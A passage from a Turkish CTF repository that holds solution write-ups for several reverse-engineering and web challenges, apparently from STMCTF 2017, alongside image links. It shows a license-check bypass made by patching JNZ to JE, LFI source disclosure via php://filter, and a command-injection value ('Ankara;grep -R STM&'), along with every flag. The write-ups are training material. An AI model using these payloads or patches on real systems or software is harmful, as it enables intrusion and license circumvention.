12 | 1. asm uzantılı dosyayı indirdikten sonra 32 bit ve nasm syntaxı ile yazıldığı anlaşılır ve buna göre assemble ve link işlemleri resimdeki gibi yapılır.Assemble işlemi yaparken daha rahat debug edebilmek için -F parametresi ile debug bilgisi formatını belirliyoruz.
13 |
14 | ```
15 | sudo nasm -f elf32 -F dwarf -g xor.asm
16 | ld -m elf_i386 -o xor xor.o
17 | ```
18 | 2. gdb ile programı debug etmeye başlıyoruz.
19 | ```
20 | gdb xor
21 | ```
22 | 
23 |
24 | 3. Kodun akış mantığına baktığımız zaman _start’ın başında stack’e data pushlayıp 7 sefer dönen ilk loop’un (loop) mov ecx,[esp+28-(7-ecx)*4] satırında bu pushlanan dataları geri alıp bswap ve not(Reverse Byte Order) işlemine taabi tutarak [R_B_Order] değişkenine atıyor.
25 |
26 | 4. ilk loopun sonuna breakpoint koyup [R_B_Order] değişkeninin sonucuna bakarsak; STMCTF{but_not_real_flag!!!} olarak atandığını görüyor olacağız.
27 | 
28 | 
29 |
30 | 5. ikinci loopa (loop2) baktığımız zaman msg(STMCTF{Yes_i_am_the_flag!!!}) ve R_B_Order(STMCTF{but_not_real_flag!!!}) değşkenlerini alıp xorlayıp GCC__Version değişkene atadağını görüyoruz.
31 |
32 | 6. üçüncü loopda (loop3) stack’e data pushlayıp 7 sefer dönen loopun mov ecx,[esp+28-(7-ecx)*4] satırında bu pushlanan dataları geri alıp bswap ve not(Reverse Byte Order) işlemine taabi tutarak [NASM__Version] değişkenine atıyor.
33 | call printf satırına breakpoint atıp NASM__Version değerine baktığımız zaman;
34 |
35 | 
36 | 
37 |
38 | 7. call printf satırında loop4’ün altında printf kısmına bakarsak bir sytemcall çağrıldığını görüyoruz.Burda eax’e atadığı değere baktığımıza(1) çağırdığı systemcall’un print yerine exit systemcall’u olduğu anlayıp programımızın düzgün şekilde devam etmesi için call printf kısmını etkisiz hale getirmemiz gerekiyor.(İsterseniz gdb’de nop işlemi ile değiştirebilir , instruction pointer’ı call printf’in altına gösterebilir isterseniz assembly kodunu değiştirip tekrardan assemble ve link edebilirsiniz.) Ben burda instruction pointerı editleyerek devam ettim.
39 |
40 | 8. loop4'e baktığımız zaman loop2’ye çok benzdeğini göreceksiniz fakat burda kodun akış şemasında bir bozukluk olduğunu fark etmek gerek.
41 |
42 | loop2'de loopun başında
43 | ```
44 | mov ecx,[msg+ebx]
45 | mov edx,[R_B_ORDER+ebx]
46 | ```
47 |
48 | değişkenlerden dataları alıp ecx ve edx attığını sonrasında ikisini xorladığını görüyoruz.
49 |
50 | loop4'de ise:
51 | ```
52 | mov ecx,[GCC__Version+eax]
53 | mov ebx,[GDBObj__Version+eax]
54 | ```
55 |
56 | değişkenlerden dataları alıp ecx ve ebx attığını sonrasında ise ecx ve edx xorladığını göreceksiniz fakat biz edx’e hiç değer atamıyoruz.
57 |
58 |
59 | Burdan anlaşılacağı üzere
60 |
61 | mov ebx,[GDBObj__Version+eax] satırındaki ebx’i edx ile değiştirmemiz gerek.
62 |
63 |
64 | Kodun akışındaki bir diğer bozukluk ise loop2’de xor işlemine tabi tutulan değer bir önceki loopdan(loop) elde edilen değer(R_B_ORDER). Fakat loop4 ‘de GDBObj__Version kullanılıyor.GDBObj__Version değişkenini decode ettiğiniz zaman “nerderhardergeekerstronger” şeklinde bir string göreceksiniz xorlarda kullanılan karakter sayısının tutmaması NASM__Version değişkeninin anlamlı olup kullanılmaması ve loop2-loop4 arasındaki benzerliğin yakalanmasından bu değişkenin yanlış olduğuna karar vermenizi bekledik.
65 |
66 | mov ebx,[GDBObj__Version+eax] satırındaki GDBObj__Version değişkeninin
67 | NASM__Version değişkeni ile değiştirmemiz gerek.
68 |
69 | 
70 |
71 | 8. adımın sonunda “mov ebx,[GDBObj__Version+eax]” satırının son hali
72 | mov edx,[NASM__Version+eax] oluyor.
73 |
74 | 9. Bir onceki adımda bulduğumuz hatalı satırı isterseniz assembly kodunda tekrar yazıp derleyip ve link edip çalıştırabilirsiniz isterseniz de direk debug işlemi sırasında instruction olarak editleyebilirsiniz.
75 | (Ben instruction editlemeyi gösteriyor olacağım.)
76 | 
77 |
78 | 0x0804814e ve 0x0804814+4 adresleri
79 | mov ebx,[GDBObj__Version+eax] instructionı ve datanın olduğu adreslerdir.
80 | biz bu adresleri mov edx,[NASM__Version+eax] şeklinde değiştirmiş olduk.
81 |
82 | 
83 |
84 | 10. Değiştirdikten sonra loop4’ün sonuna breakpoint koyup stack’e bakarsanız;
85 |
86 | 
87 |
88 | STMCTF{Flag_is_Eldad_Eilam} olan doğru flagi buldunuz demektir.
89 | md5 değerini alarak submit ediyoruz.
90 |
91 |
--------------------------------------------------------------------------------
/REVERSE/FacelessFlag/fa1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/FacelessFlag/fa1.png
--------------------------------------------------------------------------------
/REVERSE/FacelessFlag/fa10.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/FacelessFlag/fa10.png
--------------------------------------------------------------------------------
/REVERSE/FacelessFlag/fa2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/FacelessFlag/fa2.png
--------------------------------------------------------------------------------
/REVERSE/FacelessFlag/fa3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/FacelessFlag/fa3.png
--------------------------------------------------------------------------------
/REVERSE/FacelessFlag/fa4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/FacelessFlag/fa4.png
--------------------------------------------------------------------------------
/REVERSE/FacelessFlag/fa5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/FacelessFlag/fa5.png
--------------------------------------------------------------------------------
/REVERSE/FacelessFlag/fa6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/FacelessFlag/fa6.png
--------------------------------------------------------------------------------
/REVERSE/FacelessFlag/fa7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/FacelessFlag/fa7.png
--------------------------------------------------------------------------------
/REVERSE/FacelessFlag/fa8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/FacelessFlag/fa8.png
--------------------------------------------------------------------------------
/REVERSE/FacelessFlag/fa9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/FacelessFlag/fa9.png
--------------------------------------------------------------------------------
/REVERSE/README.md:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/REVERSE/Sss/7605274185f215e181254aeab3837cb4.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/Sss/7605274185f215e181254aeab3837cb4.zip
--------------------------------------------------------------------------------
/REVERSE/Sss/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Soru İsmi: Şşş
3 |
4 | ## Soru Metni:
5 | Aslında çok kolay olan soruyu birazcık zorlaştırdık.
6 | 7605274185f215e181254aeab3837cb4.zip
7 |
8 | ## Çözüm:
9 |
10 | 1. Yarışmacı strings komutuyla resme baktığında flagin sadece bir parçasını görebiliyor.
11 |
12 | ```strings Şşş.jpg```
13 |
14 | 
15 |
16 | 2. Unicode karakterler olduğu için flagi tam olarak görmesi için encodingi ayarlaması lazım.
17 | (s = single-7-bit-byte characters (ASCII, ISO 8859, etc., default), S = single-8-bit-byte characters)
18 |
19 | ```strings -e S Şşş.jpg```
20 |
21 | 
22 |
23 | FLAG = STMCTF{Ş3KİL_Y4pm4K_İÇİn_N3_K4Dar_uĞr4ştığımı_GöRÜy0rsUn_DEğİl_mİ?}
24 |
--------------------------------------------------------------------------------
/REVERSE/Sss/sss1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/Sss/sss1.png
--------------------------------------------------------------------------------
/REVERSE/Sss/sss2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/Sss/sss2.png
--------------------------------------------------------------------------------
/REVERSE/cProjem/82b5f85851c228a1882ea18d22f2eb66.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/cProjem/82b5f85851c228a1882ea18d22f2eb66.zip
--------------------------------------------------------------------------------
/REVERSE/cProjem/README.md:
--------------------------------------------------------------------------------
1 | ## Soru İsmi: cProjem
2 |
3 | ## Soru Metni:
4 | Brian Kernighan ve Dennis Ritchie'nin kitabini kurcalarken Bitwise Operators kısmını görünce gizli mesajlarımı C kodlarımın içerisinde saklayabileceğime o kadar emindim ki, kod yazdım, derledim ve şifrelemeye bile ihtiyacım yok. Sakladığım FLAG'ı bulabiliyorsan bul bakalım.
5 |
6 | ## Çözüm:
7 | 1. 82b5f85851c228a1882ea18d22f2eb66.zip dosyasi icerisinden cProjem isimli dosya cikmaktadir. 64 bit ve Linux ELF dosyasi olmasi isleri biraz zorlastiriyor.
8 |
9 | 2. 400B93 adresinde XOR ile ilgili kısmın keşfedilmesi ilk adım.
10 |
11 | 3. Daha sonra 34 karakterli {'_','W','Z','I','Q','[','|','g','f','a','a','s','w','t','^','+','D','N','g','n','g','c','H','k','j','t','u','n','Y','I','S','L','@','w'} degerlerin XOR'landığının bulunması ikinci adım oluyor.
12 |
13 | 4. İki farklı XOR amacli kullanilan liste var. (Degerler decimal)
14 |
{12,2,23,9 ,5,6 ,7 ,8 ,9 ,1 ,20,12,19,14,1 ,16,17,16,1 ,2 ,6 ,12,23 ,24,5 ,16,7,28,6,30,31,24,7,9} ve
15 |
{34,3,2 ,10,3,29,28,20,23,15,10,29,11,21,21,19,18,17,13,2 ,13,4 ,21,15,10,19,8,27,6,15,24,13,8,10}.
16 |
Bunlarin bulunmasi üçüncü adım.
17 |
18 | 5. Flag'in olusturulmasi icin sira ile iki farkli listenin kullanildigi anlasilmaktadir. CTF esnasinda asagidaki c kodu ipucu olarak da paylasilmistir.
19 |
for(z=0;z<34;z++){if((z%2)!=0){zz=(ks[z]^mask2[z]);}else{zz=(ks[z]^mask1[z]);}
20 |
mask1[34] = {12,2,23,9 ,5,6 ,7 ,8 ,9 ,1 ,20,12,19,14,1 ,16,17,16,1 ,2 ,6 ,12,23 ,24,5 ,16,7,28,6,30,31,24,7,9};
21 |
mask2[34] = {34,3,2 ,10,3,29,28,20,23,15,10,29,11,21,21,19,18,17,13,2 ,13,4 ,21,15,10,19,8,27,6,15,24,13,8,10};
22 |
ks[34] = {'_','W','Z','I','Q','[','|','g','f','a','a','s','w','t','^','+','D','N','g','n','g','c','H','k','j','t','u','n','Y','I','S','L','@','w'};
23 |
24 | 6. Eldeki ks listesini sira ile mask1 ve mask2 ile XOR'lamak bizi sonuca goturecektir.
25 |
_ (95) XOR (12) = S (83)
26 |
W (87) XOR (3) = T (84)
27 |
Z (90) XOR (23) = M (77)
28 |
...
29 |
30 | Iki listenin birlestirilerek hazirlanan PYTHON kodu ve flag asagidaki sekildedir. (Degerler HEX olarak yazilmistir.)
31 | 
32 |
33 |
--------------------------------------------------------------------------------
/REVERSE/cProjem/cProjem.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/cProjem/cProjem.png
--------------------------------------------------------------------------------
/REVERSE/crackMe/README.md:
--------------------------------------------------------------------------------
1 | ## Soru İsmi: Crack Me
2 |
3 | ## Soru Metni:
4 | Lisans anahtarımı kaybettim, hükümsüzdür. Artık bu ürüne destek de verilmiyor. Satın aldığım firmayı telefonla aradım, yazılım firması emlakçılık yapmaya karar vermiş. Şu programın lisans sorgusu bölümünü geçebilmem için bi el atıver...
5 |
6 | ## Çözüm:
7 | 1. b756d6413e4bbcd7ba46f210e345cad2.zip dosyasi icerisinden crackme.exe dosyasi cikiyor.
8 |
9 | 2. Dosya calistirildiginda bizden bir lisans anahtari isteniyor.
10 |
11 | 
12 |
13 | 3. 00402985 adresinde kurulumun baslamasi ile ilgili text bilgilerini goruluyor. 0040297F adresindeki "JNZ 402AD7" opcodu dogru anahtar girilmez ise kuruluma baslanmasini engelledigi anlasiliyor.
14 |
15 | 
16 |
17 | 4. 0040297F adresindeki "JNZ 402AD7" opcodu "JE 402AD7" olarak değiştirmek yeterli oluyor.
18 |
19 | 
20 |
21 | 5. Programi tekrar calistirip rastgele bir anahtar girmemiz durumunda flag karsimiza cikiyor.
22 |
23 | 
24 |
25 | 6. STMCTF{JNE_JE_NOP_NE_KADAR_kolay_CRACK_oldu.} ulasmak bu kadar kolay :p
26 |
--------------------------------------------------------------------------------
/REVERSE/crackMe/b756d6413e4bbcd7ba46f210e345cad2.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/crackMe/b756d6413e4bbcd7ba46f210e345cad2.zip
--------------------------------------------------------------------------------
/REVERSE/crackMe/crackMe0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/crackMe/crackMe0.png
--------------------------------------------------------------------------------
/REVERSE/crackMe/crackMe1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/crackMe/crackMe1.png
--------------------------------------------------------------------------------
/REVERSE/crackMe/crackMe2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/crackMe/crackMe2.png
--------------------------------------------------------------------------------
/REVERSE/crackMe/crackMe3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/crackMe/crackMe3.png
--------------------------------------------------------------------------------
/REVERSE/crackMe/crackMe4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/crackMe/crackMe4.png
--------------------------------------------------------------------------------
/WEB/HackOpssVol5465/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | ## Soru İsmi: HackOpssVol5465
4 |
5 | ## Soru Metni:
6 |
7 | Teknoloji firmasının web developer'ı prod uygulama üzerinde geliştirmeler yapmaya başlamış ve mesai bitimine doğru elektriğin kesilmesi ile birlikte çalışmanın diğer kısmını ertesi güne ertelemişlerdir.
8 |
9 | İki hacker bu firmanın uygulama geliştiricisinin yaptığı bir hata nedeni ile şirketin ağına yetkisiz erişim sağlamışlardır. Bunu fark eden IT güvenlik birimi ağ iz kayıtlarından durumu detaylı incelemeye başladılar. Onlara yardımcı olabilir misin ?
10 |
11 | http://192.168.MASANO.5:9999
12 |
13 | ## Çözüm:
14 |
15 | 1. Soruda verilen web sayfasına girdiğimizde “config not found” hatası alınmaktaydı.
16 | 
17 |
18 | 2. Soru açıldıkdan 5 dakika sonra developer’ın vi kullandığı ipucu olarak verildikten sonra aşağıdaki adrese gitmemiz gerekiyordu. Sebebi ise vi aracının recovery özelliği sayesinde swp dosyasına ulaşabilir olması. Kaynak kodunu görüntülediğimizde pcapFile dosyası göze çarpıyordu.
19 |
20 | 
21 |
22 | 3. Dosyayi ilgili adresten indiriyoruz.
23 | 
24 |
25 | 4. Pcap dosyasını incelemeye başladıktan sonra 2 adet dosyayının sunucuya yüklendiğini görmekteyiz.
26 | 
27 |
28 | 5. İlk dosyamız “k01” adında rar formatıyla yüklendiğini görmekteyiz.
29 | 
30 |
31 | 6. Dosyamızı Raw formatta görütüledikten sonra aşağıdaki ekran görüntüsündeki gibi kayediyoruz.
32 | 
33 |
34 | 7. Dosyayı açmaya çalıştığımızda sıkıştırılmış dosyanın parolası olduğunu görüyoruz.
35 | 
36 |
37 | 8. İşe yarar ipucu bulmak için 2. dosyamıza yöneliyoruz.
38 | 
39 |
40 | 9. 2. dosya bir ses dosyasıydı.
41 | 
42 |
43 | 10. Dosyamızı Raw formatta görüntüledikten sonra mp3 olarak kaydediyoruz.
44 | 
45 |
46 | 11. Ses dosyasını dinlediğimizde bize “Parola : 583406” olduğunu söylüyordu.
47 | 
48 |
49 | 12. Word dosyamızı açtığımızda “/k-o-a/stmAdmin.php?flag=” adresine gitmemiz bekleniyordu.
50 | 
51 |
52 | 13. Adrese erişmeye ve flag parametresine bişeyler yazmaya çalıştığımızda aşağıdaki ekran görüntüsündeki web sayfası aşağıdaki gibi gif ile geliyordu.
53 | 
54 |
55 | 14. Bu soruyla alakalı 5 er dakika arayla 2 adet ipucu açıldı. İlk ipucunda pcap dosyasında 2 hackerın konuşmasının olduğundan bahsediyordu.Strings aracı ile “Hacker” olarak greplediğimizde encode çeşitleriyle konuşmaları görebiliyorduk. Burada fark etmemiz gereken, konuşma “Hacker1 Hacker2” olarak giderken son 2 satırda “Hacker2 Hacker2” olarak gitmişti. 2. ipucunda ise “grep’i hack edin” deniyordu. Grep hack olarak değiştirdiğimizde “Hack ers1” konuşmasında sezar algoritması ile encode edilmiş bir cümle vardı.
56 | 
57 |
58 | 15. Sezar algoritmasını 17 harf ileriye kaydırdığımızda aşağıdaki ipucu karşımıza geliyordu.
59 | 
60 |
61 | 16. Sezarda çıkan “EDPXT===” base32 yaptığımızda herhangi bir sonuç dönmeyecekti. Satırda gördüğümüz şekilde Base32 decode edildiğinde artık uygulamanın paneline “k0a” olarak giriş yapabilirdik.
62 | 
63 |
64 | 17. Flag parametresine “k0a” yazdığımızda flagi yakalayabilirdik.
65 | 
66 |
--------------------------------------------------------------------------------
/WEB/HackOpssVol5465/koa1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa1.png
--------------------------------------------------------------------------------
/WEB/HackOpssVol5465/koa10.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa10.png
--------------------------------------------------------------------------------
/WEB/HackOpssVol5465/koa11.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa11.png
--------------------------------------------------------------------------------
/WEB/HackOpssVol5465/koa12.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa12.png
--------------------------------------------------------------------------------
/WEB/HackOpssVol5465/koa13.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa13.png
--------------------------------------------------------------------------------
/WEB/HackOpssVol5465/koa14.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa14.png
--------------------------------------------------------------------------------
/WEB/HackOpssVol5465/koa15.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa15.png
--------------------------------------------------------------------------------
/WEB/HackOpssVol5465/koa16.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa16.png
--------------------------------------------------------------------------------
/WEB/HackOpssVol5465/koa17.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa17.png
--------------------------------------------------------------------------------
/WEB/HackOpssVol5465/koa2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa2.png
--------------------------------------------------------------------------------
/WEB/HackOpssVol5465/koa3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa3.png
--------------------------------------------------------------------------------
/WEB/HackOpssVol5465/koa4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa4.png
--------------------------------------------------------------------------------
/WEB/HackOpssVol5465/koa5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa5.png
--------------------------------------------------------------------------------
/WEB/HackOpssVol5465/koa6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa6.png
--------------------------------------------------------------------------------
/WEB/HackOpssVol5465/koa7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa7.png
--------------------------------------------------------------------------------
/WEB/HackOpssVol5465/koa8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa8.png
--------------------------------------------------------------------------------
/WEB/HackOpssVol5465/koa9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa9.png
--------------------------------------------------------------------------------
/WEB/Postaci/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Soru İsmi: Postacı
3 |
4 | ## Soru Metni:
5 |
6 | http://192.168.$MASANO.5:5555/troll.php sayfasına git bakalım FLAG orada mı acaba?
7 |
8 | ## Çözüm:
9 |
10 | 0. Tatil Firsati sorusunun aksine bu sefer /flag.txt yazanlar bir youtube linkine yonlendirilmekteydi. Ancak bu link gercek flagi icermiyor ( https://www.youtube.com/watch?v=o1eHKf-dMwo ).
11 | 
12 |
13 | 1. Çıkan sayfada yazan “POSTacı geldi hanııım!” cümlesinden ilgili sayfaya POST isteği yapmamız gerektiğini anlıyoruz.
14 | 2. Burp aracıyla intercept ederek GET isteği yerine POST isteği gönderdiğimizde aşağıdaki mesaj çıkıyor.
15 | 
16 | 3. Mesajdaki değeri ekliyoruz:
17 | 
18 | 
19 |
20 | 4. Dönen cevapta POST isteğiyle bir de data yollamamız gerektiğini anlıyoruz. POST datası olarak flag dışında bir şey yollarsak "yanlış parametre" cevabını alıyoruz:
21 | 
22 | 
23 |
24 | 5. POST datası olarak flag yollarsak bizi troll.php?page=sanayardimicinburadayim.php sayfasına yönlendiriyor.
25 |
26 |
27 |
28 | 
29 |
30 | 6. page parametresini kullanarak LFI deneyebiliriz fakat denediğimizde aşağıdaki sayfa geliyor:
31 | 
32 |
33 | 7. Yönlendirildiğimiz troll.php?page=sanayardimicinburadayim.php sayfasında flag parametresine verdiğimiz değerin yanlış olduğunu söylüyor. Doğru parametre verirsek flagi elde edebiliriz. Parametrenin değerini bulmak için yine URL’deki page parametresinden yararlanabiliriz. Bu parametrenin değeri troll.php sayfasında yazmaktadır. Amacımız troll.php sayfasının kodunu bir şekilde LFI yaparak okumak.
34 |
35 | 8. PHP filtrelerini kullanarak /troll.php?page=php://filter/convert.base64-encode/resource=troll.php ile troll.php sayfasının kodu base64 olarak okunabiliyor.
36 | 
37 |
38 |
39 | 9. Yarışmacı base64 değerini decode ettiğinde troll.php'nin kodunu görebiliyor ve flag parametresine vermesi gereken değeri görüyor.
40 | 
41 |
42 | 10. Flagin olduğu dosyayı direk olarak /hanimisflagburadaymisflag.php şeklinde çağıramıyor. Ancak POST requestiyle doğru parametreyi vererek okuması gerekiyor.
43 | 
44 |
45 | 11. Decode edilen base64 degerinde (sayfanin kaynak kodunda) "Hanimis benim flag im?" gorulmektedir. Dogru parametre, dogru sayfa ve dogru http method birlestirilerek asagidaki istek olusturuluyor ve STMCTF{MuK-KemMEL_1_POST_Istegi} flag bulunuyor.
46 |
47 | 
48 |
49 | ```
50 | Alternatif istek:
51 | $ curl -X POST -d "flag=Hanimis benim flag im?" http://192.168.X.5:5555/troll.php
52 | STMCTF{MuK-KemMEL_1_POST_Istegi}
53 | ```
54 |
55 |
56 |
57 |
--------------------------------------------------------------------------------
/WEB/Postaci/po0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po0.png
--------------------------------------------------------------------------------
/WEB/Postaci/po1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po1.png
--------------------------------------------------------------------------------
/WEB/Postaci/po10.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po10.png
--------------------------------------------------------------------------------
/WEB/Postaci/po11.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po11.png
--------------------------------------------------------------------------------
/WEB/Postaci/po12.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po12.png
--------------------------------------------------------------------------------
/WEB/Postaci/po2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po2.png
--------------------------------------------------------------------------------
/WEB/Postaci/po3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po3.png
--------------------------------------------------------------------------------
/WEB/Postaci/po4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po4.png
--------------------------------------------------------------------------------
/WEB/Postaci/po5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po5.png
--------------------------------------------------------------------------------
/WEB/Postaci/po6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po6.png
--------------------------------------------------------------------------------
/WEB/Postaci/po7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po7.png
--------------------------------------------------------------------------------
/WEB/Postaci/po8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po8.png
--------------------------------------------------------------------------------
/WEB/Postaci/po9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po9.png
--------------------------------------------------------------------------------
/WEB/README.md:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/WEB/TatilFirsati/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Soru İsmi: Tatil Fırsatı
3 |
4 | ## Soru Metni:
5 |
6 | En büyük tur acentelerinden birinde kritik açık bulundu. Kendine ve arkadaşlarına bedava tatil fırsatını kaçırma!
7 |
8 | 
9 |
10 | ## Çözüm:
11 |
12 | Ilk ve en basit olarak /flag.txt'yi tahmin ederek cozulebilir.
13 | 
14 |
15 |
16 | Flag.txt'nin varliginin tahmin edilemedigi durumlarda command injection denemesi yapilarak, grep komutuyla dizinde icinde STM kelimesi gecen dosyalar ekrana bastirilabilir.
17 |
18 | ```
19 | Ankara;grep -R STM&
20 | ```
21 | 
22 |
23 |
24 |
--------------------------------------------------------------------------------
/WEB/TatilFirsati/tatil0.png:
--------------------------------------------------------------------------------
